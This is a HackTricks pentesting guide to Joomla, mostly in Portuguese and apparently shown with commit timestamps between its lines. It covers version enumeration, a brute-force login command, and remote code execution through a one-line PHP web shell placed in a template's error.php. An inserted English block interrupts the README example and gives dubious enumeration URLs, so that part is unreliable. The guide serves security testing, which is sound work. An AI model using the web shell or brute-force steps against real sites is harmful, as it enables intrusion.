hacktricks/network-services-pentesting/pentesting-web/joomla.md

196 lines
7.7 KiB
Markdown
Raw Normal View History

2022-10-02 23:08:05 +00:00
# Joomla
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>
2023-06-06 18:56:34 +00:00
### Estatísticas do Joomla
2022-10-02 23:08:05 +00:00
2023-06-06 18:56:34 +00:00
O Joomla coleta algumas estatísticas anônimas de uso, como a distribuição das versões do Joomla, PHP e banco de dados e sistemas operacionais do servidor em uso nas instalações do Joomla. Esses dados podem ser consultados por meio de sua [API](https://developer.joomla.org/about/stats/api.html) pública.
2022-10-02 23:08:05 +00:00
```bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}
```
2023-06-06 18:56:34 +00:00
## Enumeração
2022-10-02 23:08:05 +00:00
2023-06-06 18:56:34 +00:00
### Descoberta/Footprinting
2022-10-02 23:08:05 +00:00
2023-06-06 18:56:34 +00:00
* Verifique o **meta**
2022-10-02 23:08:05 +00:00
```bash
curl https://www.joomla.org/ | grep Joomla | grep generator
<meta name="generator" content="Joomla! - Open Source Content Management" />
```
* robots.txt
2023-06-06 18:56:34 +00:00
O arquivo robots.txt é um arquivo de texto que contém instruções para os robôs dos mecanismos de busca. Ele é usado para indicar quais páginas ou seções do site devem ser rastreadas ou não pelos robôs. É importante verificar se há informações sensíveis ou vulnerabilidades que possam ser exploradas pelos atacantes no arquivo robots.txt.
2022-10-02 23:08:05 +00:00
```
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
```
* README.txt
2023-06-06 18:56:34 +00:00
# Joomla
## Enumeration
### Version
To know the version of Joomla you can check the generator meta tag in the HTML code of the website or check the changelog.txt file in the root directory.
### Components
To enumerate the components installed in Joomla you can use the following URL:
```
http://<target>/index.php?option=com_config&view=component&component=<component_name>
```
### Modules
To enumerate the modules installed in Joomla you can use the following URL:
```
http://<target>/index.php?option=com_config&view=component&component=com_modules
```
### Templates
To enumerate the templates installed in Joomla you can use the following URL:
```
http://<target>/index.php?option=com_config&view=component&component=com_templates
```
### Users
To enumerate the users in Joomla you can use the following URL:
```
http://<target>/index.php?option=com_users&view=users
```
### Vulnerabilities
To search for vulnerabilities in Joomla you can use the following tools:
- [JoomScan](https://github.com/rezasp/joomscan)
- [Joomla Scanner](https://github.com/drego85/JoomlaScanner)
## Exploitation
### SQL Injection
To exploit SQL injection vulnerabilities in Joomla you can use the following tools:
- [SQLMap](https://github.com/sqlmapproject/sqlmap)
- [JoomSQLi](https://github.com/ambionics/joomsqli)
### Remote Code Execution
To exploit remote code execution vulnerabilities in Joomla you can use the following tools:
- [Joomla RCE](https://github.com/HoangKien1020/Joomla-RCE)
- [Joomla Scanner](https://github.com/drego85/JoomlaScanner)
### File Upload
To exploit file upload vulnerabilities in Joomla you can use the following tools:
- [Joomla Com JCE Index](https://www.exploit-db.com/exploits/43376)
- [Joomla Com Media Upload](https://www.exploit-db.com/exploits/47138)
### Password Hashes
To crack password hashes in Joomla you can use the following tools:
- [Joomlaxtc Hash Brute Forcer](https://github.com/NullArray/Joomla-Hash-Brute-Forcer)
- [Joomla Password Cracker](https://github.com/averagesecurityguy/joomla-password-cracker)
### Reverse Shell
To get a reverse shell in Joomla you can use the following tools:
- [Joomla Reverse Shell](https://github.com/OWASP/joomRAT)
- [Joomla Component Creator Reverse Shell](https://www.exploit-db.com/exploits/47135)
### Privilege Escalation
To escalate privileges in Joomla you can use the following tools:
- [Joomla Exploit Scanner](https://github.com/OWASP/joomscan)
- [Joomla Privilege Escalation](https://www.exploit-db.com/exploits/47137)
2022-10-02 23:08:05 +00:00
```
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
```
2023-06-06 18:56:34 +00:00
### Versão
2022-10-02 23:08:05 +00:00
2023-06-06 18:56:34 +00:00
* Em **/administrator/manifests/files/joomla.xml** você pode ver a versão.
* Em **/language/en-GB/en-GB.xml** você pode obter a versão do Joomla.
* Em **plugins/system/cache/cache.xml** você pode ver uma versão aproximada.
2022-10-02 23:08:05 +00:00
2023-06-06 18:56:34 +00:00
### Automático
2022-10-02 23:08:05 +00:00
```bash
droopescan scan joomla --url http://joomla-site.local/
```
2023-06-06 18:56:34 +00:00
Em **80,443 - Metodologia de Pentesting Web** há uma seção sobre scanners de CMS que podem escanear o Joomla.
2022-10-02 23:08:05 +00:00
### Brute-Force
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
Você pode usar este [script](https://github.com/ajnik/joomla-bruteforce) para tentar fazer brute force no login.
2022-10-02 23:08:05 +00:00
```shell-session
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
admin:admin
```
## RCE
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
Se você conseguiu obter as **credenciais de admin**, você pode **executar código remotamente (RCE)** adicionando um trecho de **código PHP** para obter **RCE**. Podemos fazer isso **personalizando** um **template**.
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
1. **Clique** em **`Templates`** na parte inferior esquerda em `Configuration` para abrir o menu de templates.
2. **Clique** em um nome de **template**. Vamos escolher **`protostar`** sob o cabeçalho `Template`. Isso nos levará à página **`Templates: Customise`**.
3. Finalmente, você pode clicar em uma página para abrir a **fonte da página**. Vamos escolher a página **`error.php`**. Vamos adicionar um **comando PHP para obter a execução de código** da seguinte forma:
2022-10-02 23:08:05 +00:00
1. **`system($_GET['cmd']);`**
2023-06-06 18:56:34 +00:00
4. **Salvar e Fechar**
2022-10-02 23:08:05 +00:00
5. `curl -s http://joomla-site.local/templates/protostar/error.php/error.php?cmd=id`